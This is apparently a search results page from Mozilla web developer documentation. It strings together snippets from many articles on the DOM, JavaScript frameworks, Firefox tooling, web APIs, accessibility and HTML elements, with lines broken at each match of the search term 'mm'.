mmon things you'll want to do is manipulate the document structure in some way. this is usually done by using the document object model (dom), a set of apis for controlling html and styling information that makes heavy use of the document object. in this article we'll look at how to use the dom in detail, along with some other interesting apis that can alter your environment in interesting ways. prerequisites: basic computer literacy, a basic understanding of html, css, and javascript — including javascript objects. ...
... the document object. in this article we'll look at how to use the dom in detail, along with some other interesting apis that can alter your environment in interesting ways. prerequisites: basic computer literacy, a basic understanding of html, css, and javascript — including javascript objects. objective: to gain familiarity with the core dom apis, and the other apis co
mmonly associated with dom and document manipulation the important parts of a web browser web browsers are very complicated pieces of software with a lot of moving parts, many of which can't be controlled or manipulated by a web developer using javascript. you might think that such limitations are a bad thing, but browsers are locked down for good reasons, mostly centering around security. i...
... delete it altogether. in this article we'll focus mostly on manipulating the document, but we'll show a few other useful bits besides. the document object model the document currently loaded in each one of your browser tabs is represented by a document object model. this is a "tree structure" representation created by the browser that enables the html structure to be easily accessed by progra
mming languages — for example the browser itself uses it to apply styling and other information to the correct elements as it renders a page, and developers like you can manipulate the dom with javascript after the page has been rendered. we have created a simple example page at dom-example.html (see it live also). try opening this up in your browser — it is a very simple page containing a <sec...
...And 5 more matches
A first splash into JavaScript - Learn web development
mber" game, step by step. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascript is. objective: to have a first bit of experience at writing some javascript, and gain at least a basic understanding of what writing a javascript program involves. you won't be expected to understand all of the code in detail i
mmediately — we just want to introduce you to the high-level concepts for now, and give you an idea of how javascript (and other progra
mming languages) work. in subsequent articles, you'll revisit all these features in a lot more detail! note: many of the code features you'll see in javascript are the same as in other progra
mming languages — functions, loops, etc. the code syntax looks differe...
... now, and give you an idea of how javascript (and other progra
mming languages) work. in subsequent articles, you'll revisit all these features in a lot more detail! note: many of the code features you'll see in javascript are the same as in other progra
mming languages — functions, loops, etc. the code syntax looks different, but the concepts are still largely the same. thinking like a progra
mmer one of the hardest things to learn in progra
mming is not the syntax you need to learn, but how to apply it to solve real world problems. you need to start thinking like a progra
mmer — this generally involves looking at descriptions of what your program needs to do, working out what code features are needed to achieve those things, and how to make them work together. this requires a mixture ...
...n progra
mming is not the syntax you need to learn, but how to apply it to solve real world problems. you need to start thinking like a progra
mmer — this generally involves looking at descriptions of what your program needs to do, working out what code features are needed to achieve those things, and how to make them work together. this requires a mixture of hard work, experience with the progra
mming syntax, and practice — plus a bit of creativity. the more you code, the better you'll get at it. we can't promise that you'll develop "progra
mmer brain" in five minutes, but we will give you plenty of opportunity to practice thinking like a progra
mmer throughout the course. with that in mind, let's look at the example we'll be building up in this article, and review the general process of d...
...And 5 more matches
Client-Server Overview - Learn web development
as most website server-side code handles requests and responses in similar ways, this will help you understand what you need to do when writing most of your own code. prerequisites: basic computer literacy. a basic understanding of what a web server is. objective: to understand client-server interactions in a dynamic website, and in particular what operations need to be performed by server-side code. ...
...d client-server interactions in a dynamic website, and in particular what operations need to be performed by server-side code. there is no real code in the discussion because we haven't yet chosen a web framework to use to write our code! this discussion is however still very relevant, because the described behaviour must be implemented by your server-side code, irrespective of which progra
mming language or web framework you select. web servers and http (a primer) web browsers co
mmunicate with web servers using the hypertext transfer protocol (http). when you click a link on a web page, submit a form, or run a search, the browser sends an http request to the server. this request includes: a url identifying the target server and resource (e.g. an html file, a particular data poin...
...ng the body like get would. you might for example use a head request to find out the last time a resource was updated, and then only use the (more "expensive") get request to download the resource if it has changed. put: update an existing resource (or create a new one if it doesn't exist). delete: delete the specified resource. trace, options, connect, patch: these verbs are for less co
mmon/advanced tasks, so we won't cover them here. additional information can be encoded with the request (for example, html form data). information can be encoded as: url parameters: get requests encode data in the url sent to the server by adding name/value pairs onto the end of it — for example http://mysite.com?name=fred&age=11. you always have a question mark (?) separating the res...
...And 5 more matches
Ember interactivity: Events, classes and state - Learn web development
eworks next at this point we'll start adding some interactivity to our app, providing the ability to add and display new todo items. along the way, we'll look at using events in ember, creating component classes to contain javascript code to control interactive features, and setting up a service to keep track of the data state of our app. prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn how to create component classes and use events to control interactivity, and keep...
...go along with your component. this is a vanilla javascript class and has no special meaning to ember, other than extending from the component super-class. ...
... component, type this in to your terminal: ember generate component-class header this will create the following empty class file — todomvc/app/components/header.js: import component from '@gli
mmer/component'; export default class headercomponent extends component { } inside this file we will implement the event handler code. ...
...And 5 more matches
Componentizing our Svelte app - Learn web development
w: client-side javascript frameworks next in the last article we started developing our todo list app. the central objective of this article is to look at how to break our app into manageable components and share information between them. we'll componentize our app, then add more functionality to allow users to update existing components. prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line. you'll need a terminal with node + npm installed to compile and build your app. objective: to learn how to break our app into components and share information among them. code along with us git clone the github repo (if you haven't already do...
...nique is the single responsibility principle — that is, a component should ideally only do one thing. if it ends up growing, it should be split into smaller subcomponents. both approaches should complement each other, and help you decide how to better organize your components. eventually, we will split up our app into the following components: alert.svelte: a general notification box for co
mmunicating actions that have occurred. newtodo.svelte: the text input and button that allow you to enter a new todo item. filterbutton.svelte: the all, active, and completed buttons that allow you to apply filters to the displayed todo items. todosstatus.svelte: the "x out of y items completed" heading. todo.svelte: an individual todo item. each visible todo item will be displayed in a separate...
....svelte: the check all and remove completed buttons at the bottom of the ui that allow you to perform mass actions on the todo items. in this article we will concentrate on creating the filterbutton and todo components; we'll get to the others in future articles. let's get started. note: in the process of creating our first couple of components, we will also learn different techniques to co
mmunicate between components, and the pros and cons of each. extracting our filter component we'll begin by creating our filterbutton.svelte. first of all, create a new file — components/filterbutton.svelte. inside this file we will declare a filter prop, and then copy the relevant markup over to it from todos.svelte. add the following content into the file: <script> export let...
...And 5 more matches
Learn web development
if you have questions regarding topics you'd like to see covered or feel are missing, drop us a message on our discourse forum. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started where to start complete beginner: if you are a complete beginner to web development, we'd reco
mmend that you start by working through our getting started with the web module, which provides a practical introduction to web development. beyond the basics: if you have a bit of knowledge already, the next step is to learn html and css in detail: start with our introduction to html module and move on to our css first steps module. moving onto scripting: if you are comfortable with html and css ...
... in coding, you'll want to move on to javascript or server-side development. begin with our javascript first steps and server-side first steps modules. ...
...rst steps modules. frameworks and tooling: after mastering the essentials of vanilla html, css, and javascript, you should learn about client-side web development tools, and then consider digging into client-side javascript frameworks, and server-side website progra
mming. note: our glossary provides terminology definitions. besides, if you have a specific question about web development, our co
mmon questions section may have something to help you. ...
...And 5 more matches
Mozilla’s UAAG evaluation report
the uaag document contains a very rich set of accessibility guidelines, that broadly define how accessibility should be implemented by any user agent, i.e. software that renders web content. the uaag is not the basis for any government accessibility regulations at this time. this document is based on the september 12, 2001 candidate reco
mmendation of uaag 1.0. this may be different from the most recent version, check for updates on the user agent working group home page. look to the "techniques" document for real-world implementation examples of each checkpoint. this uaag evaluation report covers nightly builds of the mozilla web browser itself, running on windows 2000, as of february 20, 2002. we are claiming to support html 4, css 2, png, jpg and gif. this evaluation does not cover...
... rendered when images turned off. see meta bug 41924 for open issues with the alt attribute. title for *any* element: rendered as tooltip longdesc for img element: in context menu - properties content of object element: ? alt for area element: ? alt for input element: ? acronym element: supported abbr element: supported abbr attribute for td/th: not supported su
mmary for table: supported title for frame: ? longdesc for frame: not supported, see bug 3658 noframe for frame: must use user style sheets to render this. a ui for this would be good. noscript for script: must use user style sheets to render this. a ui for this would be good. 2.4 allow time-independent interaction. (p1) nr need to look into this 2.5 make capt...
...conditional content automatically. (p3) g alt for img: rendered when images turned off title for *any* element: rendered as tooltip longdesc for img element: in context menu - properties content of object element: ? alt for area element: ? alt for input element: ? acronym element: supported abbr element: supported abbr attribute for td/th: not supported su
mmary for table: supported title for frame: ? longdesc for frame: not supported, see bug 3658 noframe for frame: must use user style sheets to render this. a ui for this would be good. noscript for script: must use user style sheets to render this. a ui for this would be good. 2.10 toggle placeholders. (p3) ni 2.11 alert unsupported language. (p3) nr ?
...And 5 more matches
Creating Custom Events That Can Pass Data
er small but it is incredibly important. if you peruse nsdomclassinfoclasses.h you'll see of list of macros of the form domci_class(foo). you'll want to add an entry to it which looks like this: domci_class({truncated name}) here's the fun part: above i mentioned that you must name your events as nsdom. however, here you want to put the other part of the name (e.g. if you have an event named nsdo
mmyfirstevent your nsdomclassinfoclasses entry would be domci_class(myfirstevent)). mozilla/dom/src/base/nsdomclassinfo.cpp mozilla contains many convenience macros to make changes like the one you're making easier. your modification of this file is basically just two macro calls. try to make sure of two things: keep your stuff at the back. you know never know what depends on that enum you modified...
...you can find the prototypes for the function in nsiprivatedomevent. your event in order for your event to work you must do the following: create a scriptable interface ca...
...you can find the prototypes for the function in nsiprivatedomevent. ...
...And 5 more matches
Displaying Places information using views
ser/components/places/content/placesoverlay.xul: <?xml-stylesheet href="chrome://browser/content/places/places.css" ?> <?xul-overlay href="chrome://browser/content/places/placesoverlay.xul" ?> it's this stylesheet that binds elements with the special type attribute to one of the views. the overlay contains javascript required by the views. it also contains the built-in places context menu and co
mmands, which you may want to take advantage of in your own uses of the views. connecting a view to its data to hook up a built-in view to its data, use the view's special place attribute. note: starting in gecko 2.0, you can't use the place attribute with menus. see menu view for details. you may specify the attribute directly in the xul or set its corresponding property via javascript. its v...
...e following stylesheet. note that this stylesheet is different from the one given above, which must be included if you use a built-in places view. the following stylesheet is optional and only applies styles and icons to the built-in tree view: <?xml-stylesheet href="chrome://browser/skin/places/places.css" ?> for examples of instantiating a tree view from javascript rather than xul, see progra
mmatic generation of the built-in tree view. column binding the built-in tree view makes it easy to hook up specific columns of your tree to specific properties of the result. it does so by recognizing certain magic values of the id attribute on your treecol elements. a property in the result is bound to a column via that column's id attribute. for example, by setting a column's id to "title", you...
...ces tree view: var treeview = document.getelementbyid("myplacestreeview"); points 1 and 2 apply to this variable. the tree view's view is the object at treeview.view. points 3 and 4 apply to this object. var treeviewview = treeview.view; convenience methods because the built-in tree view is both widely used and complex, several convenience methods are implemented directly on it to make co
mmon tasks easier. warning: until bug 476952 is fixed, you may experience problems using some of these methods in conjunction with the place attribute and property. applyfilter() loads a new empty query with particular search terms and folders. void applyfilter( string filterstring, array folderrestrict ); parameters filterstring the new query's searchterms property will be set to this...
...And 5 more matches
Multiple Firefox profiles
history. it takes little time to set up a new profile, and once it is complete, all of your firefox versions will update separately and can be run simultaneously. available browser development channels there are four available browser channels, each at a different level of stability and development. the four channels are release, beta, developer edition, and nightly. the release channel is reco
mmended for most users, as it is the "official release" channel. however, for those more adventurous, you can try one of the other three channels to see what is coming in firefox and play around with emerging features. the beta channel contains the features that are expected to be in the next release of firefox and are in final stages of testing. aurora contains experimental features, which are not ...
.... click the search bar at the bottom. type firefox --new-instance --profilemanager. windows 8/8.1/10 press "windows + r" on your keyboard. type firefox --new-instance --profilemanager. linux if firefox is already included in your linux distribution, or if you have installed firefox with the package manager of your linux distribution: open a terminal emulator or your shell’s co
mmand prompt: alt-f2 if you use gnome shell or kde plasma, consult your desktop environment documentation for other environments. run firefox --new-instance --profilemanager. macos run the terminal application, which is found in applications/utilities. type or paste in the path to firefox, followed by .app/contents/macos/firefox. for example, if firefox is installed in the reco...
...and prompt: alt-f2 if you use gnome shell or kde plasma, consult your desktop environment documentation for other environments. run firefox --new-instance --profilemanager. macos run the terminal application, which is found in applications/utilities. type or paste in the path to firefox, followed by .app/contents/macos/firefox. for example, if firefox is installed in the reco
mmended location, you would enter /applications/firefox.app/contents/macos/firefox. if you have the path to your desired profile handy, enter a space character, followed by -profile followed by another space character, followed by the full path to the profile folder you wish to launch into. this will launch firefox i
mmediately. otherwise, enter a space character followed by --profilemanager. thi...
...And 5 more matches
Frame script loading and lifetime
loading frame scripts to load a frame script use the loadframescript() function. this line of code loads a frame script into the currently selected tab. the script just writes "foo" to the co
mmand line: // chrome script var
mm = gbrowser.selectedbrowser.messagemanager;
mm.loadframescript('data:,dump("foo\\n")', true); loadframescript() takes two mandatory parameters: a url that points to the frame script you want to load a boolean flag, allowdelayedload note: if the message manager is a global frame message manager or a window message manager, loadframescript() may load the script multiple times, once in each applicable frame. chrome: urls extension developers usually use a chrome:// url to refer to the frame scripts. to define the mapping between a chrome:// url and a f...
...script() may load the script multiple times, once in each applicable frame. chrome: urls extension developers usually use a chrome:// url to refer to the frame scripts. ...
... if allowdelayedload is false, the script will only be loaded into frames which are open when the call was made. ...
...And 5 more matches
Downloads.jsm
elated configuration. to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloads.jsm"); method overview promise<download> createdownload(object aproperties); promise<void> fetch(asource, atarget, [optional] object aoptions); promise<downloadlist> getlist(atype); promise<downloadsu
mmary> getsu
mmary(atype); constants constant description public work on downloads that were not started from a private browsing window. private work on downloads that were started from a private browsing window. all work on both downloads.private and downloads.public downloads. properties attribute type description ...
...etargetfailed) { console.log("unable to write to the target file, ignoring the error."); } methods createdownload() creates a new download object. promise<download> createdownload( object aproperties ); parameters aproperties provides the initial properties for the newly created download. this matches the serializable representation of a download object. some of the most co
mmon properties in this object include: source: string containing the uri for the download source. alternatively, may be an nsiuri, a downloadsource object, or an object with the following properties: url: string containing the uri for the download source. isprivate: optional indicates whether the download originated from a private window. if omitted, the download is public. refe...
...nting the class of the download operation. if omitted, defaults to "copy". alternatively, may be the serializable representation of a downloadsaver object. promise resolves to the newly created download object. fetch() downloads data from a remote network location to a local file. this download method does not provide user interface or the ability to cancel or restart the download progra
mmatically. for that, you should obtain a reference to a download object using the createdownload() function. since the download cannot be restarted, any partially downloaded data will not be kept in case the download fails. promise fetch( asource, atarget, object aoptions ); parameters asource string containing the uri for the download source. alternatively, may be an nsiuri or a down...
...And 5 more matches
Profiling with Xperf
xperf is part of the microsoft windows performance toolkit, and has functionality similar to that of shark, oprofile, and (for some things) dtrace/instruments. for stack walking, windows vista or higher is required; i haven't tested it at all on xp. this page applies to xperf version 4.8.7701 or newer. to see your xperf version, either run 'xperf' on a co
mmand line with no arguments, or start 'xperfview' and look at help -> about performance analyzer. (note that it's not the first version number in the about window; that's the windows version.) if you have an older version, you will experience bugs, especially around symbol loading for local builds. installation for all versions, the tools are part of the latest windows 7 sdk (sdk version 7.1). use the web installer to install a...
...lking: reg add "hklm\system\currentcontrolset\control\session manager\memory management" -v disablepagingexecutive -d 0x1 -t reg_dword -f symbol server setup with the latest versions of the windows performance toolkit, you can modify the symbol path directly from within the program via the trace menu. just make sure you set the symbol paths before enabling "load symbols" and before opening a su
mmary view. you can also modify the _nt_symbol_path and _nt_symcache_path environment variables to make these changes permanent. the standard symbol path that includes both mozilla's and microsoft's symbol server configuration is as follows: _nt_symcache_path: c:\symbols _nt_symbol_path: srv*c:\symbols*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://symbols.mozilla.org/firefox/ to...
...:\path\to\objdir\dist\bin to _nt_symbol_path. as with all windows paths, the symbol path uses semicolons (;) as separators. make sure you select the trace -> load symbols menu option in the windows performance analyzer (xperfview). there seems to be a bug in xperf and symbols; it is very sensitive to when the symbol path is edited. if you change it within the program, you'll have to close all su
mmary tables and reopen them for it to pick up the new symbol path data. you'll have to agree to a eula for the microsoft symbols -- if you're not prompted for this, then something isn't configured right in your symbol path. (again, make sure that the directories exist; if they don't, it's a silent error.) quick start all these tools will live, by default, in c:\program files\microsoft windows per...
...And 5 more matches
Localization Use Cases
ain the problem from the localizers' or developers' perspective, and suggest a solution. declensions in gaia's browser app, there's an about-browser string defined as follows in apps/browser/locales/browser: about-browser=about {{browserbrandshortname}} problem definition in many inflected languages (e.g. german, finnish, hungarian, all slavic languages), the about preposition governs the gra
mmatical case of the complement. it might be the accusative (german), ablative (latin) or locative (slavic languages). let's take slovenian as an example. in slovenian, the ideal string would inflect the noun, like so: o firefoxu however, since we want the name of the browser to be stored in the browserbrandshortname entity, we can't modify it. the work-around is to inflect an auxiliary noun comp...
...e work-around is to inflect an auxiliary noun complement, e.g. browser, to give about the firefox browser. needless to say, this ends up being long and often unnaturally-sounding to the native speakers. about-browser=o brskalniku {{browserbrandshortname}} solution in l20n, this problem can be easily solved by defining multiple variants of the browserbrandshortname entity, to match different gra
mmatical cases of the noun. in shared/branding/official/branding, we can define browserbrandshortname as: <browserbrandshortname{ nominative: "firefox", genitive: "firefoxa", dative: "firefoxu", accusative: "firefox", locative: "firefoxu", instrumental:"firefoxom" }> and in shared/branding/unofficial/branding, we can define browserbrandshortname as follows, to mean web browser: no...
...slovenian uses the locative case with its about preposition: <aboutbrowser "o {{ browserbrandshortname.locative }}"> for the official branding, we get: o firefoxu and for the unofficial branding, we end up with: o brskalniku genders in the system app's apps/system/locales/system, there's a string called crash-banner-os2. crash-banner-os2={{brandshortname}} just crashed. ...
...And 5 more matches
SpiderMonkey Build Documentation
you want to use spidermonkey as a library in your c++ application, or work on improving spidermonkey itself, do a developer/debug build instead, as described below.) cd js/src # this name should end with "_opt.obj" to make the version control system ignore it. mkdir build_opt.obj cd build_opt.obj /bin/sh ../configure.in # use "mozmake" on windows make a few notes about this: the most co
mmon build problems are dependency problems. see the build prerequisites page for your platform. spidermonkey does not support building in your source directory. you must configure and build in a separate build directory, as shown above. note: if you are on mac and getting an error similar to "checking whether the c compiler (gcc-4.2 ) works... no configure: error: installation or conf...
...that baldrdash may fail to compile with /usr/local/cellar/llvm/7.0.1/lib/clang/7.0.1/include/inttypes.h:30:15: fatal error: 'inttypes.h' file not found /usr/local/cellar/llvm/7.0.1/lib/clang/7.0.1/include/inttypes.h:30:15: fatal error: 'inttypes.h' file not found, err: true this is because, starting from mohave, headers are no longer installed in /usr/include. ...
...starting from mohave, headers are no longer installed in /usr/include. refer the release notes under co
mmand line tools -> new features the release notes also states that this compatibility package will no longer be provided in the near future, so the build system on macos will have to be adapted to look for headers in the sdk until then, the following should help, open /library/developer/co
mmandlinetools/packages/macos_sdk_headers_for_macos_10.14.pk this builds an executable named js in the directory build-release/dist/bin. you can test it with dist/bin/js --help, which displays a help page. at this point, you're ready to run and try out the shell. on mac, linux, or unix, you can install spidermonkey on your system with the additional co
mmand make install. this installs the shared...
...And 5 more matches
compare-locales
ile and the parent dir of the localizations as first arguments, followed by the locale codes of the locales you want to compare. ...
...ed by the locale codes of the locales you want to compare. ...
... want to compare. ...
...And 5 more matches
History Service Design
luding visit time, type of visit and meta data. old history system was instead only storing first and last visit date, and a generic visits counter, creating some problem due to the impossibility to represent real history flow in a timeframe. history views must be organized and as concise as possible. ...
... as concise as possible. each visit is associated with a favicon, to allow for better recognizability and groupable by co
mmon timeframes or domains. history views should allow to quickly find a page in a certain timeframe remembering only small details about it. the system should be customizable enough to allow creation of custom, calendar and graphical views based on queries executed through a co
mmon api upon underlying data. the querying system allows to extract slices of data based on co
mmon patterns, this is directly usable by the end user, but also by implementers to provide a variety of nice features. for example, is possible to create a query folder containing the 10 pages most visited by the user, allowing to fast find good candidates for bookmarking. a locationbar intelligent algo...
...ks, history, keywords (and much more) detaching the user from the old long searches through tree views. this is possible through a relevance algorithm that assigns a param called frecency to every page in history, see the places frecency algorithm for major informations. history service provides the basics to create such adaptive search paths, allowing for a better browsing experience through a co
mmon interface. long term objectives include the ability to index more informations from the visited pages, through fulltext indexes, and the possibility to generalize the frecency algorithm to allow for its use in user's queries. might be also nice to provide a hook for third-party products so they can provide text searching capabilities to the places system. places core history service (nsinavh...
...And 5 more matches
nsIMsgHeaderParser
add brief description of interface ??? ...
... exceptions thrown missing exception missing description native co...
...veintegrity); methods extractheaderaddressmailboxes() given a string which contains a list of header addresses, returns a co
mma-separated list of just the 'mailbox' portions. if any of the addresses doesn't have a mailbox, then the user name is used instead. autf8string extractheaderaddressmailboxes( in string line ); parameters line the header line to parse. return value a co
mma-separated list of just the mailbox parts of the addresses. exceptions thrown missing exception missing description native code only!extractheaderaddressnames given a string which contains a list of header addresses, returns a co
mma-separated list of just the 'user name' portions. if any of the addresses doesn't have a name, then the mailbox is used instead. autf8string extractheaderadd...
...And 5 more matches
Index - Firefox Developer Tools
you can use them to examine, edit, and debug html, css, and javascript. 2 3d view html, tools, web development, web development:tools when you click on the 3d view button, the page goes into 3d view mode; in this mode, you can see your page presented in a 3d view in which nested blocks of html are increasingly "tall," projecting outward from the bottom of the page. this view makes it easy to visualize the nesting of your content. ...
...l is not enabled by default. to enable it, open the developer tool settings, and check the "memory" box under "default firefox developer tools": 40 dom allocation example this article describes a very simple web page that we'll use to illustrate some features of the memory tool. 41 dominators with a garbage-collected language, like javascript, the progra
mmer doesn't generally have to worry about deallocating memory. they can just create and use objects, and when the objects are no longer needed, the runtime takes care of cleaning up, and frees the memory the objects occupied. 42 dominators view starting in firefox 46, the memory tool includes a new view called the dominators view. this is useful for understanding the "retained...
...re are three ways to open the debugger: 126 pretty-print a minified file javascript to prettify a minified file, click the pretty print source icon () at the bottom of the source pane. the debugger formats the source and displays it as a new file with a name like: "{ } [original-name]". 127 search to search for a particular file, press control + p (or co
mmand + p on a mac) and type the search term. the source pane will display a list of all matching files as you type. you can use the up and down arrows to move through the list, and return to open the file you want: 128 set a breakpoint javascript, tools, breakpoint, column breakpoint, conditional breakpoint there are many different types of breakpoint that can be set in the deb...
...And 5 more matches
PerformanceResourceTiming - Web APIs
only a string representing the type of resource that initiated the performance entry, as specified in performanceresourcetiming.initiatortype. performanceresourcetiming.nexthopprotocolread only a string representing the network protocol used to fetch the resource, as identified by the alpn protocol id (rfc7301). performanceresourcetiming.workerstartread only returns a domhighrestimestamp i
mmediately before dispatching the fetchevent if a service worker thread is already running, or i
mmediately before starting the service worker thread if it is not already running. if the resource is not intercepted by a service worker the property will always return 0. performanceresourcetiming.redirectstartread only a domhighrestimestamp that represents the start time of the fetch which initiates...
..., or i
mmediately before starting the service worker thread if it is not already running. if the resource is not intercepted by a service worker the property will always return 0. performanceresourcetiming.redirectstartread only a domhighrestimestamp that represents the start time of the fetch which initiates the redirect. performanceresourcetiming.redirectendread only a domhighrestimestamp i
mmediately after receiving the last byte of the response of the last redirect. performanceresourcetiming.fetchstartread only a domhighrestimestamp i
mmediately before the browser starts to fetch the resource. performanceresourcetiming.domainlookupstartread only a domhighrestimestamp i
mmediately before the browser starts the domain name lookup for the resource. performanceresourcetiming.domainl...
...t redirect. performanceresourcetiming.fetchstartread only a domhighrestimestamp i
mmediately before the browser starts to fetch the resource. performanceresourcetiming.domainlookupstartread only a domhighrestimestamp i
mmediately before the browser starts the domain name lookup for the resource. performanceresourcetiming.domainlookupendread only a domhighrestimestamp representing the time i
mmediately after the browser finishes the domain name lookup for the resource. performanceresourcetiming.connectstartread only a domhighrestimestamp i
mmediately before the browser starts to establish the connection to the server to retrieve the resource. ...
...And 5 more matches
SVGPathSeg - Web APIs
svg path segment interface this is a base interface that corresponds to a single co
mmand within a path data specification. interface overview also implement none methods none properties unsigned short pathsegtype domstring pathsegtypeasletter constants pathseg_unknown = 0 pathseg_closepath = 1 pathseg_moveto_abs = 2 pathseg_moveto_rel = 3 pathseg_lineto_abs = 4 pathseg_lineto_rel = 5 pathseg_curveto_cubic_abs = 6 pathseg_curveto_cubic_re...
... value description pathseg_unknown 0 the unit type is not one of predefined types. it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type. pathseg_closepath 1 corresponds to a "closepath" (z) path data co
mmand. pathseg_moveto_abs 2 corresponds to an "absolute moveto" (m) path data co
mmand. pathseg_moveto_rel 3 corresponds to a "relative moveto" (m) path data co
mmand. pathseg_lineto_abs 4 corresponds to an "absolute lineto" (l) path data co
mmand. ...
...path data co
mmand. pathseg_moveto_rel 3 corresponds to a "relative moveto" (m) path data co
mmand. pathseg_lineto_abs 4 corresponds to an "absolute lineto" (l) path data co
mmand. pathseg_lineto_rel 5 corresponds to a "relative lineto" (l) path data co
mmand. pathseg_curveto_cubic_abs 6 corresponds to an "absolute cubic bézier curveto" (c) path data co
mmand. pathseg_curveto_cubic_rel 7 corresponds to a "relative cubic bézier curveto" (c) path data co
mmand. pathseg_curveto_quadratic_abs 8 correspond...
...And 5 more matches
Cognitive accessibility - Accessibility
d capabilities, to age-related issues with thinking and remembering. the range includes people with mental illnesses, such as depression and schizophrenia. it also includes people with learning disabilities, such as dyslexia and attention deficit hyperactivity disorder (adhd). though there is a lot of diversity within clinical definitions of cognitive impairments, people with them experience a co
mmon set of functional problems. these problems include difficulty with understanding content, remembering how to complete tasks, and confusion caused by inconsistent or non-traditional web page layouts. in this document, we focus on steps developers should take to improve the cognitive accessibility of their web sites and applications. overview cognitive and intellectual disabilities cover a larg...
...oviding a buffer of at least 20 seconds to extend the timeout duration by a factor of 10 with a simple action, such as hitting the space bar. provide a toggle on content that allows users to enable a longer session time limit, or no session time limit at all. examples of timed content include forms, timed reading exercises, and training materials. if the time limit is longer than 20 hours, acco
mmodations are not required. moving, blinking, scrolling it is important not to distract users, especially ones with cognitive disabilities. if moving, blinking, scrolling, or auto-updating information starts automatically, lasts more than five seconds, and is presented in parallel with other content, the user must able to pause, stop, hide or control it, unless it's an essential functiona...
...hen navigating with a keyboard, users can become disoriented. focused elements should be visibly focused when a user navigates using a keyboard, the ui should make it obvious which element currently has focus. don't alter or remove the browser's default :focus styling, unless you're making focus even more obvious. link text conveys meaning the link's text should clearly and concisely co
mmunicate what the user should expect to be navigated to next if they choose to activate it. poorly phrased link text may confuse users as to its purpose or destination. some forms of assistive technology allow users to navigate by lists of all the links present on the page. links will be removed from the context of their surrounding non-link content, making the need for understandable link text ev...
...And 5 more matches
Using media queries - CSS: Cascading Style Sheets
recated in media queries 4 and shouldn't be used. the aural type has been replaced by speech, which is similar. media features media features describe specific characteristics of the user agent, output device, or environment. media feature expressions test for their presence or value, and are entirely optional. each media feature expression must be surrounded by parentheses. name su
mmary notes any-hover does any available input mechanism allow the user to hover over elements? added in media queries level 4. any-pointer is any available input mechanism a pointing device, and if so, how accurate is it? added in media queries level 4. aspect-ratio width-to-height aspect ratio of the viewport color number of bits per...
... update how frequently the output device can modify the appearance of content added in media queries level 4. width width of the viewport including width of scrollbar logical operators the logical operators not, and, and only can be used to compose a complex media query. ...
...if you use the not operator, you must also specify a media type. note: in level 3, the not keyword can't be used to negate an individual media feature expression, only an entire media query. ...
...And 5 more matches
Making content editable - Developer guides
html editing ui has been deprecated for additional details. how does it work? all you have to do is set the contenteditable attribute on nearly any html element to make it editable. here's a simple example which creates a <div> element whose contents the user can edit. <div contenteditable="true"> this text can be edited by the user. </div> here's the above html in action: executing co
mmands when an html element has contenteditable set to true, the document.execco
mmand() method is made available. this lets you run co
mmands to manipulate the contents of the editable region. most co
mmands affect the document's selection by, for example, applying a style to the text (bold, italics, etc), while others insert new elements (like adding a link) or affect an entire line (indenting). whe...
... differences in markup generation use of contenteditable across different browsers has been painful for a long time because of the differences in generated markup between browsers. ...
...e consistent. as of firefox 60, firefox will be updated to wrap the separate lines in <div> elements, matching the behavior of chrome, modern opera, edge, and safari. try it out in the above example. note: internet explorer, which is no longer being developed, uses <p> elements instead of <div>. if you want to use a different paragraph separator, the above browsers all support document.execco
mmand, which provides a defaultparagraphseparator co
mmand to allow you to change it. for example, to use <p> elements: document.execco
mmand("defaultparagraphseparator", false, "p"); additionally, firefox supports the non-standard argument, br, for defaultparagraphseparator since firefox 55. this is useful if your web application expects the older firefox behavior, and you don't want to or don't ha...
...And 5 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
"noopener". type hints at the linked url’s format with a mime type. no built-in functionality. obsolete attributes charsetobsolete since html5 hinted at the character encoding of the linked url. note: this attribute is obsolete and should not be used by authors. use the http content-type header on the linked url. coordsobsolete since html5 used with the shape attribute. a co
mma-separated list of coordinates. nameobsolete since html5 was required to define a possible target location in a page. in html 4.01, id and name could both be used on <a>, as long as they had identical values. note: use the global attribute id instead. revobsolete since html5 specified a reverse link; the opposite of the rel attribute. deprecated for being very confusing. shapeobsolete...
...te vulnerable to window.opener api exploitation attacks (vulnerability description), although note that, in newer browser versions (e.g. firefox 79+) setting target="_blank" implicitly provides the same protection as setting rel="noopener". accessibility strong link text the content inside a link should indicate where the link goes, even out of context. inaccessible, weak link text a sadly co
mmon mistake is to only link the words “click here” or “here”: <p> learn more about our products <a href="/products">here</a>. </p> strong link text luckily, this is an easy fix, and it’s actually shorter than the inaccessible version! <p> learn more <a href="/products">about our products</a>. </p> assistive software have shortcuts to list all links on a page. however, strong lin...
... <main id="content"> <!-- the skip link jumps to here --> .skip-link { position: absolute; top: -3em; background: #fff; } .skip-link:focus { top: 0; } skip links let keyboard users bypass content repeated throughout multiple pages, such as header navigation. skip links are especially useful for people who navigate with the aid of assistive technology such as switch control, voice co
mmand, or mouth sticks/head wands, where the act of moving through repetitive links can be laborious. webaim: "skip navigation" links how-to: use skip navigation links mdn / understanding wcag, guideline 2.4 explanations understanding success criterion 2.4.1 size and proximity size interactive elements, like links, should provide an area large enough that it is easy to activate them. this ...
...And 5 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
ontent layout shifts. responsive image hints with sizes and srcset (see also the <picture> element and our responsive images tutorial). supported image formats the html standard doesn't list what image formats to support, so each user agent supports different formats. a complete guide to image formats supported by web browsers is available. below is a list of the image formats that are most co
mmonly used on the web, as well as some older formats that should no longer be used, despite existing content possibly still using them. abbreviation file format mime type file extension(s) browser compatibility apng animated portable network graphics image/apng .apng chrome, edge, firefox, opera, safari bmp bitmap file image/bmp .bmp ...
...image is part of a server-side map. if so, the coordinates where the user clicked on the image are sent to the server. note: this attribute is allowed only if the <img> element is a descendant of an <a> element with a valid href attribute. this gives users without pointing devices a fallback destination. loading indicates how the browser should load the image: eager: loads the image i
